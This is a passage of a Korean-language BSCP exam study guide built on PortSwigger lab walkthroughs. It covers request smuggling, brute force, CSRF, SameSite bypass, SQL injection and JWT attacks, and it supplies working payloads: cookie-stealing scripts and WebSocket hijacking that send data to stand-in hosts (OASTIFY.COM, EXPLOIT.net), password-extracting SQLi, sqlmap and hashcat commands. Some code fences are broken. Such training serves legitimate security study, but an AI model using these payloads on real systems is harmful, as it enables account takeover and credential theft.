POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

![http2 smuggle via crlf inject](https://assets.kitploit.com/production/public/readmes/51008/09b24f9c67e89369995ebe8a45b621e5f8efe9ad325002fcbf91a1c690c6710f/2df373fd39cb8a7997450db0a8d6f81786ff41fde6792560ac25fa1763928bd3-display-v1.webp)  
  
[PortSwigger Lab: CRLF 주입을 통한 HTTP/2 request smuggling](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)  
  
[Youtube 데모: CRLF 주입을 통한 HTTP/2 request smuggling](https://youtu.be/E-bnCGzl7Rk)  

### HTTP/2 TE desync v10a h2path

>프런트엔드 서버가 모호한 길이의 HTTP/2 요청을 다운그레이드하기 때문에 대상은 request smuggling에 취약합니다. 대상을 방문하는 관리자의 세션 쿠키를 탈취하십시오. Burp 확장 프로그램인 **HTTP Request Smuggler**는 이 취약점을 HTTP/2 TE desync v10a(H2.TE) 취약점으로 ***식별***합니다.  

![HTTP/2 TE desync v10a h2path](https://assets.kitploit.com/production/public/readmes/51008/70cfa490497638cb3fa016779d8ee60933280c3d274c41abf3cabae051c9eba5/c89d21494e43c3a2be73ddd689ad5123005e682ab6be423d1914927d95a80f79-display-v1.webp)  

>참고: 인스펙터 요청 속성에서 **HTTP/2**로 전환하고 repeat 메뉴에서 **Allow HTTP/2 ALPN override** 옵션을 활성화하십시오.```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n

![admin-panel-access](https://assets.kitploit.com/production/public/readmes/51008/71bc02ebbf47a4060144c099b7ef0c27e9c602bdba1f757389b8124c37b14026/e8f3eef3bfadcb8098dae9dc5ee39feee97c03fef2660e36a32657abfadd056a-display-v1.webp)  

[PortSwigger Lab: H2.TE 요청 밀수로 인한 응답 큐 중독](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)  
  
-----

## 무차별 대입(Brute Force)  

[Stay-Logged-in](#stay-logged-in)  
[Stay-logged-in 오프라인 크랙](#stay-logged-in-offline-crack)  
[보호된 로그인 무차별 대입](#brute-force-protected-login)  
[미묘하게 유효하지 않은 로그인](#subtly-invalid-login)  

### Stay-Logged-in  

>로그인 옵션에 stay-logged-in 체크박스가 있으면 쿠키 값에 로그인한 사용자의 비밀번호가 포함되어 무차별 대입 공격에 취약해집니다.  

![stay-logged-in](https://assets.kitploit.com/production/public/readmes/51008/bc01af2d88a60a883c0f2e995e5759a41dac84717959f609e66ac1b814ef8877/eac5c63cdf23ce19f4026efdcf50a42353548a5ef0880cbd686190820ddd6e0c-display-v1.webp)  

>아래의 공격 단계와 Intruder 페이로드 처리 규칙을 순서대로 적용하고, 공격을 시작하기 전에 GREP 옵션도 순서대로 포함하십시오.  
  
1. 현재 사용자로 로그아웃합니다.  
2. 가장 최근의 GET /my-account 요청을 Burp Intruder로 보냅니다.  
3. 주입 위치로 ```stay-logged-in``` 쿠키를 선택합니다.  
4. 해시: ```MD5```  
5. 접두사 추가: ```carlos:```  
6. 인코딩: ```Base64-encode```  
7. 설정 탭에서 **GREP**을 추가하여 응답에서 ```Update email``` 문자열을 확인합니다. 이는 공격이 성공적으로 로그인되었음을 나타냅니다.  
  
![brute](https://assets.kitploit.com/production/public/readmes/51008/dd219a46a6bde2ffcaa071930104090dfe53117dff9a9b2ac2319b677ff79798/bb3d75edbac7f93d5f11f594aa0641ba1f91960d7c5e468bab3529b564de62f4-display-v1.webp)  

[PortSwigger Lab: stay-logged-in 쿠키 무차별 대입](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)  
  
### Stay-logged-in 오프라인 크랙  
  
>블로그 애플리케이션의 댓글 기능은 [저장형 XSS](#stored-xss)에 취약합니다. 아래 페이로드를 블로그 댓글에 사용하여 Carlos의 세션 쿠키를 익스플로잇 서버로 보내십시오.```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>

![Intruder Pitchfork](https://assets.kitploit.com/production/public/readmes/51008/66026c73089a17cd963c3f4604ee2c5eb87ca8d728f8e439873461a65886511b/57f16b4c63a4656510202fb58c8982bbdf9ab729ca4beb4a187b5026f66129bb-display-v1.webp)  

>위의 **Pitchfork** Intruder 공격을 비밀번호 필드에서 반복한 다음, 상태 열에서 302 결과로 유효한 비밀번호를 ***식별***하십시오.  

[PortSwigger Lab: 응답 타이밍을 통한 사용자 이름 열거](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)  
  
### 미묘하게 잘못된 로그인  

>로그인 페이지와 비밀번호 재설정이 무차별 공격으로부터 보호되지 않고, 잘못된 사용자 이름이나 비밀번호에 대해 IP 차단이나 타임아웃이 적용되지 않음을 ***식별***하십시오.  

>BSCP 시험을 위한 팁: 때때로 무차별 대입이 가능한 약한 비밀번호를 가진 다른 사용자가 있습니다. 1단계에서 발판 액세스를 얻기 위한 대상이 항상 Carlos 계정은 아닙니다.  

![미묘하게 잘못된 로그인](https://assets.kitploit.com/production/public/readmes/51008/34b633ea5cc880f83ce62425f6cedfe66b071c6da84838036fdb877693c30d3c/1909672808f6935dcad4ad54ae81211b41c104f0e6e6a8caecac2ad37fce6cfe-display-v1.webp)  

>Intruder 공격 열에서 GREP 값 ```Invalid username or password.``` 에 대해 주목하십시오. 실패한 사용자 이름 공격에 대한 하나의 응답 메시지에는 끝에 마침표가 포함되어 있지 않습니다. 이 ***식별된*** 사용자 이름으로 공격을 반복하고, **Sniper** 공격으로 비밀번호 필드를 공격하여 유효한 로그인에 대한 ```302``` 응답을 ***식별***하십시오.  
  
![비밀번호 새로고침](https://assets.kitploit.com/production/public/readmes/51008/902b614feb19dcbd95a3d8c7cdd0b4fb3beb1187c567ad7e5ef6a0eff0afc759/6777d0da3b54f56334d8b81dd648ba26bf558fff7a0bea4079089ae0738af940-display-v1.webp)  

>BSCP 시험에서는 반환되는 다른 메시지를 ***주의 깊게 살펴보십시오***. 이 메시지들은 애플리케이션에서 유효한 계정을 노출하고, [비밀번호 재설정 새로고침](#refresh-password-broken-logic) 함수의 예와 같이 계정 비밀번호의 무차별 대입 ***식별***을 허용합니다.  
  
>다른 응답 메시지에서 유효한 사용자 이름을 식별한 후, Burp Intruder를 사용하여 비밀번호에 대해 [무차별 대입](#brute-force)을 수행하십시오.  

[PortSwigger Lab: 미묘하게 다른 응답을 통한 사용자 이름 열거](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)  

>웹 애플리케이션에서 유효한 사용자 이름을 식별하는 또 다른 시나리오는 로그인에 사용자 이름 목록과 하나의 잘못된 비밀번호 값을 제공하는 것입니다. Intruder 공격 결과에서 하나의 응답에는 `Incorrect password` 메시지가 포함될 것입니다.  
>Intruder 공격 주입 위치: `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.  

[PortSwigger Lab: 서로 다른 응답을 통한 사용자 이름 열거](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)  
  
-----

## 인증  

[계정 등록](#account-registration)  
[인증 토큰 우회 매크로](#auth-token-bypass-macro)  
  
### 계정 등록  

>계정 등록 기능의 비즈니스 로직 결함으로 인해 대상 사용자 역할 액세스 권한으로 발판을 얻을 수 있습니다. [콘텐츠 검색](#content-discovery)에서 경로 ```/admin```을 찾으면, Admin 인터페이스는 **DontWannaCry** 사용자로 로그인한 경우에만 사용할 수 있다는 메시지가 표시됩니다.  

![등록 길이 결함](https://assets.kitploit.com/production/public/readmes/51008/9e90582af49743f7b9087c67a20d69bf74b4b8ef0dab1fbdff3a60392b9cd840/72715f12a9b48d4d37c280f2ac392de70361075d62642755035855d51a8d29ab-display-v1.webp)  

>```@``` 기호 앞에 200자 이상으로 이메일을 만들면 255자로 잘립니다. 이는 계정 등록 페이지 로직의 **결함**을 ***식별***합니다. 아래 이메일에서 ```@dontwannacry.com``` 끝의 ```m```은 정확히 255번째 문자입니다.```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

[PortSwigger Lab: 강제 OAuth 프로필 연결](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)  
  
### Referer 검증 CSRF  

>***식별***: **Referer** 헤더 값을 변경하면 응답에 `Invalid referer header` 메시지가 표시되고, 리퍼러 값의 어딘가에 예상 대상 도메인이 포함되어 있을 때 이메일 변경이 수락되는 것을 관찰하여 이메일 변경 기능이 CSRF에 취약함을 식별합니다.  

![identify csrf referer header check](https://assets.kitploit.com/production/public/readmes/51008/0079dbd0e1ec1a68beb7853c04e86b3f80604413c126d203c93e1c2bb0f077d2/de7db5ae7069fafd14a3ddbc461c22d6fb39765e149e354e24fa97ff457156de-display-v1.webp)  

>대상의 원본 도메인을 추가하고 `history.pushState('', '', '/?TARGET.net');`를 **Referer 헤더**에 쿼리 문자열 형태로 추가하면 이메일 변경이 적용되도록 허용합니다.```html
Referrer-Policy: unsafe-url

>CSRF POC를 생성하고, **auto-submit** 스크립트를 포함하는 옵션을 활성화한 다음 **Regenerate**를 클릭합니다. **auto-submit** 스크립트 코드 블록을 제거하고 대신 다음을 추가한 뒤, ```history.pushState``` 스크립트 코드를 body 헤더 아래에 배치합니다. IMG SRC 태그의 **onerror**가 대신 CSRF POC를 제출합니다.```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">

![CSRF 권한 상승](https://assets.kitploit.com/production/public/readmes/51008/6e45b81f9d54e5214924f032463b6f4f5eb9cdb28412f64ce9a823f6d6262b17/ddc915c61d778debd9f3dd2808cb4043859b9f6865d26d718536d8d06e5bc4f8-display-v1.webp)  

### CSRF 방어 없음  

>이메일 변경 기능에 대한 방어가 없는 대상은 관리자 역할로의 권한 상승을 허용할 수 있습니다. 시험에서 익스플로잇 서버의 `[email protected]` 이메일 주소로 이메일을 변경하면 공격자가 관리자 사용자의 비밀번호를 변경할 수 있어 권한 상승으로 이어질 수 있습니다.  
>시험에는 활성 사용자가 ***하나***만 있으며, 이전 단계가 캐시 포이즈닝을 수행하거나 `Deliver to Victim` 기능을 통한 피싱 공격을 수행하여 활성 사용자가 링크를 클릭하도록 요구하지 않는 공격으로 완료된 경우, CSRF 변경 익스플로잇을 사용할 수 있습니다.  

![csrf-change-email.png](https://assets.kitploit.com/production/public/readmes/51008/6c60faf6361552e4964ca0299ebb1608cacc054461745662e4f9383ffedaaf3b/236a9dc558e23d3a3d4c98560cc25d64205efec80144ca7eeb993495d3a59cdd-display-v1.webp)  

[PortSwigger Lab: 방어 기능이 없는 CSRF 취약점](https://portswigger.net/web-security/csrf/lab-no-defenses)  

### SameSite Strict 우회  

>라이브 채팅 기능에서 `GET /chat HTTP/2` 요청이 예측 불가능한 토큰을 사용하지 않는다는 것을 알 수 있습니다. 이는 [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions) 쿠키 제한을 우회할 수 있는 경우, 가능한  [사이트 간 WebSocket 하이재킹](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking)(CSWSH) 취약점을 ***식별***할 수 있습니다.  

>CSWSH 취약점을 ***식별***하기 위해 익스플로잇 서버에 POC 페이로드를 호스팅하세요.```
<script>
    var ws = new WebSocket('wss://TARGET.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

>SameSite 제한을 우회하려면 아래의 전체 스크립트를 URL 인코딩하고, exploit 서버에 호스팅된 `cms-` 사용자 이름 로그인의 CDN 하위 도메인에 대한 입력으로 사용하십시오.```
<script>
    var ws = new WebSocket('wss://TARGE.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

> 채팅 기록에는 피해자의 비밀번호가 포함되어 있다.

![chat-history.png](https://assets.kitploit.com/production/public/readmes/51008/882911320e69de26eefa71e4f3d6b6a6fdeac737f45a313863dac4c93cd3d225/f3cfe7ef3a4e620433e55ea3f5312a26e94a6e45e5bf1bd56d702548ceb2cbb4-display-v1.webp)  

[PortSwigger Lab: sibling domain을 통한 SameSite Strict 우회](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)  

### SameSite Lax 우회  

>`/social-login`을 방문하면 전체 OAuth 흐름이 자동으로 시작되는지 확인한다. OAuth 서버에 로그인된 세션이 아직 있는 경우, 이 모든 과정은 어떤 상호 작용 없이 이루어진다. 그리고 프록시 기록에서 OAuth 흐름을 완료할 때마다 이미 로그인되어 있더라도 대상 사이트가 새 세션 쿠키를 설정한다는 것을 알 수 있다.  

>팝업 차단기를 우회하려면, 피해자가 페이지를 클릭하도록 유도하고 피해자가 클릭한 후에만 팝업이 열리게 하는 다음 JavaScript를 사용한다. 이 익스플로잇 JavaScript 코드는 먼저 피해자의 브라우저가 `/social-login`을 방문하도록 강제하여 세션을 새로 고친 다음, 잠시 후 이메일 변경 요청을 제출한다. 익스플로잇을 피해자에게 전달한다.```
<form method="POST" action="https://TARGET.net/my-account/change-email">
    <input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://TARGET.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

>[URL 인코딩된](https://www.urlencoder.org/) `PostgreSQL` 페이로드.```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--

![blind-time-delay SQLi](https://assets.kitploit.com/production/public/readmes/51008/46c985b647369721299240587ce419b7890ff46abab191040b0da91187e69a6a/833ff096083057dc0b8241e6be68f3488ffbe38ce167d619967c277e987e9123-display-v1.webp)  

>CLUSTER Bomb 공격을 사용하여 비밀번호의 문자 위치별 각 순열에 대해 공격을 다시 실행하고, 문자 값을 결정합니다.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

![연습 시험 2단계 시간 지연 SQL 인젝션](https://assets.kitploit.com/production/public/readmes/51008/591c6c93d17a4fad71c84924b82f6b102cdcb7403345fc89a25393801b5f4fcb/3de53e0a110faccc64ec3df7bb827afceaec12b28fb13de0e6e942ebdda4cbc8-display-v1.webp)  

>Intruder CLUSTER bomb 공격을 사용하면 아래 페이로드의 두 페이로드 위치를 사용하여 단 한 번의 공격으로 비밀번호를 추출할 수 있습니다.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--

![대역 외 데이터 유출을 이용한 블라인드 SQL 인젝션](https://assets.kitploit.com/production/public/readmes/51008/77ecbd2fb851d947a64ea7f80ed8d2edfae3c11ce5990b5dab193d0089ede73f/34f35502299c43e70be75fe5ad7a9ca416d47c6d5aa53ca52945e7ad54fd72e3-display-v1.webp)  
  
[PortSwigger 랩: 대역 외 데이터 유출을 이용한 블라인드 SQL 인젝션](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration)  
  
>위의 SQL 페이로드는 이 [PortSwigger 랩: 조건부 오류를 이용한 블라인드 SQL 인젝션](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors) 챌린지의 관리자 비밀번호를 추출하는 데에도 사용할 수 있습니다.  

### 징후가 없는 블라인드 SQLi  

>```trackingid``` 쿠키 또는 검색 매개변수 `/search_advanced?searchTerm='`의 끝에 작은따옴표를 넣으면 `500 Internal Server Error` 응답이 발생할 수 있습니다. 합리적 추측을 바탕으로 아래의 블라인드 SQLi 페이로드를 사용하고 기본 XXE 기술과 결합하면, 이는 협업 서버에 호출하지만 데이터는 유출되지 않습니다.```sql
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--

[OAST - 대역 외 애플리케이션 보안 테스트](https://portswigger.net/burp/application-security-testing/oast)  

[PortSwigger 랩: 대역 외 상호작용을 통한 블라인드 SQL 인젝션](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band)  
  
### 블라인드 SQLi 조건부 응답

>이 블라인드 SQL 인젝션은 응답의 작은 메시지 차이로 ***식별됩니다***. 유효한 true SQL 쿼리를 보내면 응답에 ```Welcome back``` 문자열이 포함됩니다. 유효하지 않은 false SQL 쿼리 문은 응답의 조건부 메시지를 포함하지 않습니다.```
' AND '1'='1

>관리자 사용자의 비밀번호에 몇 개의 문자가 있는지 확인합니다. 이렇게 하려면 intruder **Settings tab**의 "Grep - Match" 섹션에서 SQL 문 값을 and로 변경하고, 목록의 기존 항목을 모두 지운 다음, ***identify*** true 조건에 ```Welcome back``` 값을 추가합니다.```
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

![sqli conditional response](https://assets.kitploit.com/production/public/readmes/51008/2fa952e19084d8cf044ee00c0af0758f5a2525b6e3eb130e782d5e6e477ab7fa/775c0bc6baba6015d2d25f55994918b7720989ba2c1dad81e807ad893028bc91-display-v1.webp)  

>대안으로 **CLUSTER Bomb** 공격을 사용하고 **두** 개의 페이로드 위치를 설정합니다. 첫 번째는 숫자 ```1..20```의 페이로드를 사용하는 문자 위치이고, 두 번째는 알파벳과 숫자 문자를 사용하는 위치로, 페이로드 조합의 각 순열을 반복합니다.  

![CLUSTER bomb](https://assets.kitploit.com/production/public/readmes/51008/2612fb60c5db8b49266cf925197eb38930d733d225b304e8803298c38bec168e/61ae6550d59a539ec054efdaad8ed27be2f83c3501b78e0072699009e1b66f03-display-v1.webp)  

[PortSwigger Lab: 조건부 응답을 통한 블라인드 SQL 인젝션](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)  
  
### Oracle  

>`category` 매개변수 값 끝에 **작은따옴표**를 추가하고 `500 Internal Server Error` 응답을 관찰하여 SQL 인젝션을 식별했습니다.  
  
>Oracle 데이터베이스에서 테이블 목록을 검색합니다:```
'+UNION+SELECT+table_name,NULL+FROM+all_tables--

>Users_XXX 테이블에서 사용자 이름과 비밀번호를 검색하는 Oracle 페이로드.```
'+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX--

![테이블에서 데이터를 덤프하는 데 사용된 SQLMAP](https://assets.kitploit.com/production/public/readmes/51008/e91562db7de520c05b332d6ea72d4fd6ce995a1a990df232da525c2f43cadf7f/74ef860e904c08dc72a71d2fc729d39c847fce7675ee88d18347351f729240e5-display-v1.webp)  

>이는 또한 시험의 고급 검색 필터에서 민감한 오류 기반 시간 지연 SQL 인젝션을 ***식별***하고 데이터를 추출하는 SQLMAP 사용의 좋은 시작점입니다.```
sqlmap -v -u 'https://TARGET.NET/search?term=x&organizeby=DATE&journalist=&cachebust=1656138093.57' -p "term" --batch --cookie="_lab=YESYESYESYES; session=YESYESYESYES" --random-agent --level=2 --risk=2

>`public` 데이터베이스에서 식별된 테이블을 SQLMAP로 덤프합니다.```
-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables

### Non-Oracle 수동 SQLi  

>SQL 인젝션 UNION 공격, 쿼리가 반환하는 **열의 개수**를 확인합니다.```SQL
'+UNION+SELECT+NULL,NULL--

>다음으로 데이터베이스의 **테이블** 목록을 ***식별***합니다.```SQL
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

>***users*** 테이블의 **컬럼** 이름을 조회하세요.```SQL
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'--

>**추가:** 텍스트 데이터를 추출할 열이 하나만 있는 경우, 데이터베이스의 SQL 구문 ```||``` 문자를 사용하여 여러 값을 단일 반사 출력 필드에 연결하십시오.```
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

> 쿠키 값 길이 제한으로 인해 `limit 1`을 사용하여 페이로드를 줄였고, 실제 쿠키 값은 문자 `x` 하나로 대체되었습니다. SQL 인젝션은 [CAST 함수](https://portswigger.net/web-security/sql-injection/blind)를 사용했습니다.  

![SQL 인젝션 CAST 함수](https://assets.kitploit.com/production/public/readmes/51008/8cbe3158f15d53a4fd4b4871f9ac4d84b3afe63769c73e89305d9df5690b6b81/67b43c731a975eaa82e1bb9bee41c17f69d0d82d9b61a9f34ca38680adb38969-display-v1.webp)  

[PortSwigger Lab: Visible error-based SQL injection](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based)  

-----

## JWT  

[JWT bypass via JWK](#manual-sqli)  
[JWT Weak secret](#jwt-weak-secret)  
[JWT kid header](#jwt-kid-header)  
[JWT arbitrary jku header](#jwt-arbitrary-jku-header)  


> JSON 웹 토큰(JWT)은 암호화 서명된 JSON 데이터를 전송하는 데 사용되며, 인증, 세션 처리 및 접근 제어의 일부로 사용자에 대한 정보("claims")를 전송하는 데 가장 일반적으로 사용됩니다.  

### JWT bypass via JWK  

> 버프 스캐너는 서버의 취약점을 ***식별***합니다: **JWT 자체 서명 JWK 헤더가 지원됨**. 제공된 키 소스에 대한 검사 실패로 인해 이를 악용할 수 있습니다.  
> **jwk (JSON Web Key)** - 키를 나타내는 내장 JSON 객체를 제공합니다.  

> jwk 헤더 주입을 통한 인증 우회 익스플로잇 단계:  

1. 새 RSA 키  
2. 요청의 JWT 페이로드에서 **sub 클레임** 값을 administrator로 변경  
3. Attack을 선택한 다음, 새로 생성된 RSA 키로 **Embedded JWK**를 선택  
4. 이제 ```jwk``` 매개변수에 우리의 공개 키가 포함된 것을 확인할 수 있으며, 요청을 보내면 관리자 포털에 접근할 수 있습니다.  

![jwk 헤더](https://assets.kitploit.com/production/public/readmes/51008/ce35d027fc88ad31fd8b852c8ad1913fd2f5bd8b08923304b385f7023aa0ccb2/3b8f9b446cebdaefc49adb6838972ef19bdd5a66dac508eb888a5ba5305292e4-display-v1.webp)  

[PortSwigger Lab: JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)  

### JWT Weak secret  

> `hashcat`을 사용하여 약한 JWT 서명 키를 브루트포스합니다.```bash
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list 

>페이로드```
{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1673523674
}

![jwt-jku-header-exploit-server.png](https://assets.kitploit.com/production/public/readmes/51008/9a204d1ac713ebb90c2a2ea1d3d0262157863148f44b10dfe3fb57d32e84e476/2cb0be1ecadaf45760b6c769e2060fb2dce33895d631682e9f61e356700446c6-display-v1.webp)